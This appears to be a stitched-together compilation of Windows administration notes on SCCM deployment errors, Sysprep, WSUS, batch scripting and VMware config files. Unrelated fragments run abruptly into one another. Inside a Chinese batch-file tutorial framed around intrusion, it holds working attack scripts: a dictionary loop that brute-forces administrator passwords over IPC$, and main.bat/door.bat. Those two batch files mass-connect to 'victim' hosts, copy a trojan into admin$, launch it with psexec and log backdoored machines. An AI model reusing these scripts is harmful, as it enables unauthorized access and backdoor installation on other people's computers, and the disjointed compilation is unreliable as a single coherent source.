troubleshoot PXE problem

Check the SMSTS.log for following:

Network Access Account Not Set
Resolution: Go into the Client Policy in SCCM and set a Network Access Account. It sometimes "disappears" even after everything has been working fine.

Resolution: Check the PXE Certificate in the SCCM console. Verify that the Root CA is trusted. Alternatively, reset the expiration date.

GetHostByName Failed
Resolution: Ensure the FQDN is properly set.


SCCM capture media is not bootable

The capture media you created from SCCM task sequence is not bootable.

Interesting discussion here:


Hardware devices not installed in Sysprep image


When you use the Microsoft System Preparation tool (Sysprep) to deploy a Sysprep image of Microsoft Windows XP to a computer, some devices may appear in Device Manager as not installed even when the driver for the device exists in the path that is set by the oempnpdriverspath entry in the Sysprep.inf.

If you double-click on a device in Device Manager, you receive the following error message in the Device status box on the General tab:
The drivers for this device are not installed. (Code 28)
Additionally, a yellow exclamation mark appears next to the device when you view it in Device Manager.

Back to the top
This problem occurs when you create a Sysprep image on a computer and then deploy that image to a computer that has the same type of hardware. Any devices that do not have their drivers installed will remain in this state after the deployment of the Sysprep image. The minisetup program that is used by Sysprep does not perform a full Plug and Play re-enumeration of all devices.

Before you run Sysprep to prepare a computer for duplication, remove any devices in device manager that are set to Code 28. To remove these devices, follow these steps:
1. Click Start, and then click Control Panel.
2. Double-click Administrative Tools.
3. Double-click Computer Management.
4. Click Device Manager.
5. Locate any device that has a yellow exclamation mark next to it.
6. Verify that the device status for the device has the error message that is listed in the "Symptoms" section of this article. To do so:
a. Right-click the device icon.
b. Click Properties.
c. The Device status box lists the error message:
The drivers for this device are not installed. (Code 28)
7. Right-click the device icon, click Uninstall and then click OK.
Repeat steps 5 through 7 for each device that has the Code 28 error message.


How to fix blue screen error 0x0000007B

So, you've decided to move your drive with Windows 2000 (or XP) to a new system, or upgraded your motherboard, and you now get the dreaded blue screen of death before the operating system gets to the desktop.
All you get is a blue screen with STOP 0x0000007B error (INACCESSIBLE_BOOT_DEVICE). Here are some solutions to fix it.

Solution 1
check this page for detailed how to:
1.) download Bart PE, RunScanner, and FixMoveHD.reg file.
2.) Prepare the Bart PE Recovery CD
3.) Use the new created CD to boot the problem computer
4.)Load FixMoveHD.reg file from PE
5.)Extract 'Atapi.sys,' 'Intelide.sys,' 'Pciide.sys,' and 'Pciidex.sys' to %systemroot%\system32\drivers" folder from '%SystemRoot%\Driver Cache\i386\Driver.cab or sp2.cab'.
In my case (Winxp sp2 deployment) I used the following commands :
expand sp2.cab -f:atapi.sys c:\windows\System32\Drivers
expand sp2.cab -f:intelide.sys c:\windows\System32\Drivers
expand driver.cab -f:pciide.sys c:\windows\System32\Drivers
expand driver.cab -f:pciidex.sys c:\windows\System32\Drivers
6.)Reboot the system to normal mode and it should work fine now

solution 2:
Check this page for more detailed steps:

Well, the first thing you need to do is to get the system working again, so, put the system back in the original working configuration. If you changed the motherboard, change it back to the original. If you moved the drive to a new system, place it in the old one.

Now, for people that understand what they are doing, and how to do it, here are the "quick" steps:
1 - Extract 'Atapi.sys,' 'Intelide.sys,' 'Pciide.sys,' and 'Pciidex.sys' from '%SystemRoot%\Driver Cache\i386\Driver.cab' (or SPx.CAB if it exists, where x is the latest service pack)
2 - Copy those four files to the following location: '%SystemRoot%\System32\Drivers' (do not replace files already there)
3 - Merge the registry file found below (copy the text to notepad and save as a .reg file), or better, download it here
4 - THAT'S IT! Move it to the new system (or change the motherboard), and your system should start up.

Error: This computer is not registered with the configuration manager

When deploy Winxp from bootable CD, after the DHCP setting window, got an error:
This computer is not registered with the configuration manager site.
Detailed error from smsts.log:
Client does not have an ID. Please ensure you have created a record for this client in the SMS database.
Invalid advise flags (Error: 80040001; Source: Windows)

Answer 1:
From: http://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=3827655&SiteID=17
When starting from boot media or PXE (as this task sequence appears to be doing) there is no way for ConfigMgr to query AD or the SLP for a site. So, PXE and boot media can only communicate to the site they were created on. In practice, this means you should create boot media on the site you plan to use it.

Answer 2:
To deploy an operating system to a new computer without stand-alone media that is not currently managed by Configuration Manager 2007, the new computer must be added to the Configuration Manager 2007 database prior to initiating the operating system deployment process. Although Configuration Manager 2007 can automatically discover computers on your network that have a Windows operating system installed, if the computer has no operating system installed you will need to import the new computer information by using the Import Computer Information Wizard. This wizard supports importing information about a single computer, or importing information about one or more computers from an external .csv file.
When you boot a computer using ConfigMgr boot media, a wizard will start. The first screen don't require that the computer be present in the ConfigMgr database, but in order to complete the wizard it must be. So how can we hook into this wizard to do something about this? That's where the pre-execution hook, described at http://technet.microsoft.com/en-us/library/bb694075.aspx, comes in.


Unknown Computers in SCCM 2007 R2 - overview

Unknown Computers in SCCM 2007 R2 - overview



Windows domain migration senario

How to migrate a domain from one forest to another forest.

Usually you use the ADMT for restructuring an Active Directory environment.

Planning is the key as with anything but you've asked what the best practice would be and to answer that what I'll say one must understand core concepts of domains, forests and trees in Active Directory, how Active Directory works, how DNS services work because Active Directory relies upon DNS to function,, along with trust relationships between domains, trees and forests and Active Directory partitioning, and restructuring before one attempts at migration or restructuring.

For that basic knowledge set I'll suggest reading the following MS KB article on Forests, domains and trees in a MS Active Directory Environment. http://support.microsoft.com/kb/310996/en-us

I recommend you also read up on the ADMT for restructuring an Active Directory environment.

here's a link on downloading the ADMT which provides a brief intro of what it's used for. http://www.microsoft.com/downloads/details.aspx?

I'll also suggest going to Tech Net for white papers on most things Active Directory.


Error " The hash value is not correct" when creating stand-alone TS media

I ran thru the create media from task sequence media wizard once with cd/dvd and once with usb. Both give me errors:
-Error Creating Media. Error message is : The hash value is not correct.

This error indicates that the files on the DP for one of the packages referenced by your task sequence does not match the hash we calculated when the package was imported. The CreateMedia log (in the AdminUILog directory) should indicate what package does not match. My guess is that it is your boot image (since we have seen some issues with this getting out of sync). Using the Manage Distribution Points Wizard try refreshing the boot image package on all distribution points and see if this fixes the problem.

And make sure you do "Refresh DPs" and not "Update DPs". You get to "Refresh DPs" from the "Manage DPs" wizard. "Update DPs" checks the versions number in the database to decide if new content needs to be copied to the DP. If the database thinks everything is OK, it will do nothing. "Refresh DPs" assumes something might be messed up on the DP and always copies the latest version out to the DP.

Do a refresh of the distribution point followed by and immediate update fo the DP. Sounds crazy but it has worked everytime for us.

WSUS resources


DFS resources

Distributed File System (DFS)

Designing and Deploying File Servers

Best practices for Distributed File System (DFS)


WSUS troubleshooting,



Do my clients meet the requirements to run WSUS?

Have you cloned your computers on the network? If yes, did you run Sysprep, Ghostwalker, or NewSID on the computers after they have been deployed with the new image?

Active Directory
Did you apply your GPO to the appropriate OU? Did you apply the GPO to an OU that contains computer objects?

Are you waiting long enough for your GPOs to be applied to your computers?
Is the GPO even applying to your computer?

Do you have 'Block Inheritance' set on your OU which would restrict a group policy from applying to the OU and objects contained therein?

Tools for troubleshooting:

client diagnostic tool

server diagnostic tool

Want to figure out which computers have duplicate SIDS?
Use psGetSID from Sysinternals: http://www.microsoft.com/technet/sysinternals/utilities/psgetsid.mspx
- You can run this against all computers in your domain to discover who has a duplicate SID.

You should really then run NewSID from Sysinterals on any of the duplicate computers to resolve any potential issues in the future (not to mention the security issues involved with having duplicate SIDS on the network): http://www.microsoft.com/technet/sysinternals/utilities/newsid.mspx

NOTE: You don't need to RUN NewSID on each computer prior to fixing the duplicate ID issue in WSUS, but it may rear its ugly head later on, so if you can find the time, I would recommend fixing this issue as soon as you can.

Error: this computer has not reported yet, wsus

Error: this computer has not reported yet, wsus

Just set WSUS up in a test enviroment and im getting an error regarding my
client machine "Not Reported Status Yet" in the computers section. The
computer is added to a test group and this is a Fresh Windows XP SP" client,
2003 Server SP1.
My server is fine it's just the client where im having the problem.

Answer 1:
"Not Yet Reported" is a normal indication between the time a client first
registered (and probably is selfupdating), and completes a detection cycle,
including a reporting event. This delay is normally about 20-30 minutes,
though, so if it has been more than an hour since the client "Last
Contacted" the WSUS server, you may have a malfunction on the client side.

Start by running the Client Diagnostic Tool and posting the results. If the
output of the CDT looks normal (post the results anyway), then continue by
inspecting the %windir%\WindowsUpdate.log for error diagnostics.

Answer 2:
I don't know if it'll relate to your specific situation but I had an issue
last week where two pc's were imaged with the same Windows seat id from
Dell... WSUS will only recognize the most current machine put on the

What actually happens it that WSUS recognizese the most recent machine that
/reports/ to the WSUS server if those machines have been built from
improperly prepared images.

If you're able to monitor the server closely, and frequently enough, you'll
actually see the machine name bounce between the two identical clients, as
each one executes a detection/reporting event.

Commands for windows update service troubleshooting on the client machine

Commands for windows update service troubleshooting on the client machine:

UPdate the GPO manually:
update /force

display local policy on the client pc:

Force detect WSUS server:
wuauclt /detectnow



Original discussion:

Could some higlight the main details why SCCM OS deployment would be used
versus BDD 2007? Or could some one point me to the right source?
I would like to get the pros and cons for SCCM.
Thanks for any help.

Answer from Kim:
Main highlights:
1) SCCM 2007, and the dpeloyment 4 beta (successor to bdd 2007) can
handle server Deployments
2) SCCM 2007 can handle offline deployments (disconnected environments)
3) Sccm 2007 is much easier to use in a multi-location environment.

BDD 2007 is great with all the scripts, but that is what the deployment
4 beta will add to SCCM 2007. Take a look on
http://connect.microsoft.com for the deployment 4 beta, which is due out
in the next month or 2.

Preparation Guide for Exam 70-401

Credit toward certification

When you pass Exam 70-401: TS: Microsoft System Center Configuration Manager 2007, Configuring, you complete the requirements for the following certification:
• Microsoft Certified Technology Specialist (MCTS): System Center Configuration Manager 2007, Configuration

Exam 70-401 also earns credit as an elective exam toward the following certifications:
• Microsoft Certified Systems Administrator (MCSA) on Windows Server 2003
• Microsoft Certified Systems Engineer (MCSE) on Windows Server 2003

Skills being measured

This exam measures your ability to accomplish the technical tasks listed in the following table. The percentages indicate the relative weight of each major topic area on the exam.
Skills measured by Exam 70-401
Deploying a System Center Configuration Manager 2007 (SCCM) Server (9 percent)

Set up and configure an Active Directory schema.

Migrate from an SMS 2003 hierarchy to SCCM 2007.

Configure an SCCM hierarchy.

Set up and configure security accounts.
Configuring an SCCM Infrastructure (19 percent)

Configure client agents.

Configure site boundaries.

Configure core site system roles.

Configure discovery methods.

Configure client installation.

Configure SCCM infrastructure for Internet-based client management.
Managing Resources (14 percent)

Build an SCCM collection by using queries.

Meter software usage.

Manage assets.

Manage inventory flow.

Manage client agents.
Distributing Applications (17 percent)

Manage packages.

Manage programs.

Manage advertisements.

Schedule distribution.

Track success/failure rates for distribution.

Manage distribution points.
Deploying Operating Systems (13 percent)

Capture a reference computer image.

Manage task sequences.

Configure site system roles related to Operating System Deployment.

Deploy operating system packages.

Customize user state migration.

Deliver applications.
Securing a Network Infrastructure (13 percent)

Configure Network Access Protection (NAP).

Maintain NAP.

Migrate from Inventory Tool for Microsoft Update (ITMU) to Windows Software Update Services (WSUS).

Deploy software updates.

Manage vulnerability compliance.
Managing and Maintaining an SCCM Infrastructure (15 percent)

Manage system health.

Configure automatic maintenance tasks.

Create custom reports.

Maintain clients.

Manage systems by using Desired Configuration Management.

Manage Wake On LAN


Error:Task sequence cannot continue after reboot because TS Manager is not configured to auto-start or GINA is not installed

Task sequence cannot continue after reboot because TS Manager is not configured to auto-start or GINA is not installed

The Restart Computer action cannot be used to boot into a newly deployed operating system (or used to boot into the Full OS if a task sequence was started from WinPE) because the OS has not been configured to resume the task sequence. You will need to use the “Setup Windows and ConfigMgr” action which, when run after an “Apply Operating System Image” action, will configure the new operating system to resume the task sequence and reboot the machine.

The “Install an existing image package” option on the “Create a new task sequence” wizard should setup a task sequence that already has these steps.

how to use command line and script to configure boot image from SCCM

rjarrett descripted how to use command line and script to configure boot image from SCCM




1. 有人通过预先修改windows注册表将日期改成yy-mm-dd格式然后通过发出命令:c:\> echo %date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%这种该注册表的方法显然不是很可取。
2. 还有人通过vbs来实现,制作成批处理文件内容如下:@echo off
echo wscript.echo year(date) ^& right(”0″ ^& month(date),2) ^& right(”0″ ^& day(date),2) ^& right(”0″ ^& hour(time),2) ^& right(”0″ ^& minute(time),2)>%tmp%\temp1.vbs
cscript /nologo %tmp%\temp1.vbs
del %tmp%\temp1.vbs

3. 我认为最好的方式是,通过批处理中的for语句进行系统日期格式的判断,然后进行处理。批处理文件内容如下:


ECHO. |DATE > temp1
FOR /F “eol=T tokens=5 delims=() ” %%i in (temp1) do set date_format=%%i
FOR /F “eol=E tokens=5,6,7,8 delims=/- ” %%a in (temp1) do (
IF /I %date_format% EQU mm-dd-yy ( set month=%%a
set day=%%b
set year=%%c
set week=%%d )
IF /I %date_format% EQU dd-mm-yy ( set day=%%a
set month=%%b
set year=%%c
set week=%%d )
IF /I %date_format% EQU yy-mm-dd ( set year=%%a
set month=%%b
set day=%%c
set week=%%d ) )

ECHO. |TIME > temp2
FOR /F “eol=E tokens=5-8 delims=:. ” %%A in (temp2) do ( set hour=%%A
set minute=%%B
set second=%%C
set hundredth=%%D )

REM TIME format 08:10:00 PM, it means 20:10:00
REM IF %meridiem% EQU PM SET /A %%hour%%=%%hour%%+12

SET current_date=%year%%month%%day%
SET current_time=%hour%%minute%%second%%hundredth%

IF EXIST temp1 DEL /Q temp1
IF EXIST temp2 DEL /Q temp2

ECHO Current date = %current_date%
ECHO Current time = %current_time%

MKDIR %current_date%
ECHO. > %current_date%\%current_time%.log

结论:最初我尝试使用交互式语句:SET /P variable=[promptString]来处理,让执行者预先输入日期格式。这样的话,目的是可以达到,但总觉得不爽。通过查询for /? 以及相关的信息完成任务,在上述三种日期格式中测试均合格。

From: http://blog.cnetnews.com.cn/?p=5580



1.| 命令
Usage:第一条命令 | 第二条命令 [| 第三条命令...]

time /t>>D:\\IP.log
netstat -n -p tcp|find ":3389">>D:\\IP.log
start Explore


将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。

echo hello world>c:\\hello.txt (stupid example?)

运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。





Windows Registry Editor Version 5.00




Windows Registry Editor Version 5.00


Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”

修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。


Windows Registry Editor Version 5.00




三.如何使用组合命令(Compound Command)


Usage:第一条命令 & 第二条命令 [& 第三条命令...]


C:\\>dir z: & dir c:\\Ex4rch

The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\\Ex4rc
2002-05-14 23:51 14 sometips.gif


Usage:第一条命令 && 第二条命令 [&& 第三条命令...]


C:\\>dir z: && dir c:\\Ex4rch
The system cannot find the path specified.

C:\\>dir c:\\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

dir file:// && copy file:// E:\\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)


Usage:第一条命令 || 第二条命令 [|| 第三条命令...]


C:\\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

@copy trojan.exe \\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt


批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
@echo off
if "%1"=="a" format a:
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \\\\1%\\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed



批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
echo [{ on|off }] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

3.Goto 命令
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
echo Usage: monitor.bat ServerIP PortNumber
goto end

4.Rem 命令
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
@echo off
copy a:*.* d:\\back
echo Please put a new disk into driver A
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用

call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
[Drive: }[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end

goto end
goto end
echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

9.If 命令

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串"  待执行的命令
如if "%1"=="a" format a:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms

2、if exist 文件名  待执行的命令

如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字  待执行的命令
如if errorlevel 2 goto x2  

10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

for { %variable|%%variable } in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到

FOR /D %variable IN (set) DO command [command-parameters]


FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前

FOR /L %variable IN (start,step,end) DO command [command-para

因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (\'command\') DO command

或者,如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (\'command\') DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
usebackq - 指定新语法已在下类情况中使用:
引号字符为文字字符串命令并允许在 fi

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
用双引号,您还需要使用 usebackq 选项,否则,双引号会

%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 \'z\' 或
\'Z\' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i


另外,FOR 变量参照的替换已被增强。您现在可以使用下列

~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充


%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语

用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名



我们用net use \\\\ip\\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\\\ip\\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\\\ip\\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\\ok.txt ,这样就ko了。



主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
@echo run this batch in dos modle.or just double-click it.
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\\\%1\\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\\\%1 c:\\winnt\\system32\\windrv32.exe
@psexec \\\\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

How to create a Capture only task sequence

When you create new task sequence, there is no choice to create "capture only" TS.
But you can achieve this by splitting Build & Capture OSD task sequence to two pieces

If you are using the default build and capture TS you could try the following:
1. Just create a new empty custom TS for example "Capture" and if you like rename your old B&C TS to "Build"
2. Open both task sequences side by side

3. Cut out the group folder "Capture the Reference Machine" from "Build" and paste it into "Capture"

4. Copy! the step "Restart in Windows PE" in your "Build" TS and paste it into the new "Captute" TS at the beginning

5. Make sure that both task sequences are advertised to the Collection holding your target machine
In theory you should now be able to run "Build" first and when it is finished you just need to make your adjustments.
After that you should be able to launch "Capture" either from the "Run Advertised Programs" or via PXE and selecting it at the beginning to finish the job.


可以试试echo %date% %time%看格式
然后使用:~begin, len 的方式取的变量的字串类似函数substr($str, $begin, $len),例如
echo %date%
结果输出:2007-06-15 星期五
echo %date:~0,10%

echo %date:~0,4%%date:~5,2%%date:~8,2%


SET /A VAL=123 //赋值
ECHO %VAL% //使用变量(显示变量内容)

对于批处理文件,从命令行传给给文件的参数会依次赋给%1 %2 %3……%9
C:\>a.bat hello world

使用SET /P,例如
SET /P VAL=Please input a number:

以上均可以敲SET /?得到帮助。

VMX-CONFIG File explained

A very short vmx-file only needs 3 lines - I call them the identity-lines. This minimal vmx is enough to start a VM. It is the equivalent of starting a legacy-real-metal box with nothing more than the main-board with 32MB RAM and one CPU plugged in.

guestOS = "winxppro"
config.version = "8"
virtualHW.version = "4"

The version above can be used for VMplayer, Workstation 5.5 and VMserver.
For ESX 2.5 or WS 4.5 you need something like

guestOS = "winxppro"
config.version = "6"
virtualHW.version = "3"

It doesn't matter wether you use upper or lower cases - but always make sure to use " " for values.

If you forget one of this critical parameters or misconfigure it the VM will not start and give an error-message.

guestOS = "dos 397"

causes error-message

Guest operating system `dos 397' is not supported.
Please select a guest operating system from the General page on the Options tab of Virtual Machine Settings.

Autogenerated Identity-lines

Once you start such a minimal VM VMware generates another two lines to identify the virtual machine. Whenever you change the path to the vmx-file - either by renaming or moving to a different path VMware wants to update this lines.

uuid.location = "56 4d ee 3c 52 06 a3 de-be 4a 73 9c cc 99 15 1f"
uuid.bios = "56 4d ee 3c 52 06 a3 de-be 4a 73 9c cc 99 15 1f"


You can change the amount of RAM that a VM will use like this

memsize = "128"

If you don't assign a value for memory VMware will use the default-setting which is 32MB

memsize = "32"

Whenever you assign RAM manually make sure the value is a multiple of 4 - otherwise the VM will not start:

memsize = "255"

causes this error-message:

Memory size 255 not a multiple of 4

You can assign a displayname for your virtual machine by adding

displayName = "VMX-Test"

If you don't assign a nicname VMware will autogenerate one- useing the path and name of the vmx-file

displayName = "X:\home\moon\Desktop\vmx.sammler\minimal.vmx"


Lets populate the PCI-slots.

A VM has 6 PCI-slots.

The first slot is always used by the VMware-SVGA II.
You can fill the next 5 slots with these devices:




To add one of max. 4 Buslogic-SCSI-controllers add this lines:

scsi0.present = "TRUE"

scsi0.virtualDev = "buslogic" "vmxbuslogic" for ESX

To add one of max. 4 LSIlogic-SCSI-controllers add this lines:

scsi0.present = "TRUE"

scsi0.virtualDev = "lsilogic" "vmxlsilogic" for ESX

To add one of max. 4 AMD-ethernet-cards add this lines:

ethernet0.present = "TRUE"
ethernet0.virtualDev = "vlance"

To add one of max. 4 VMXnet-ethernet-cards add this lines:

ethernet0.present = "TRUE"
ethernet0.virtualDev = "vmxnet"

To add one of max. 4 e1000-ethernet-cards add this lines:

ethernet0.present = "TRUE"
ethernet0.virtualDev = "e1000"

To add a soundcard - either a Soundblaster or a ES1371 - add this lines:

sound.present = "TRUE"
sound.virtualDev= "sb16"


sound.present = "TRUE"
sound.virtualDev= "es1371"

What happens if I add more than 5 PCI-devices?
In case you order
scsi0.present = "TRUE"
scsi1.present = "TRUE"
scsi2.present = "TRUE"
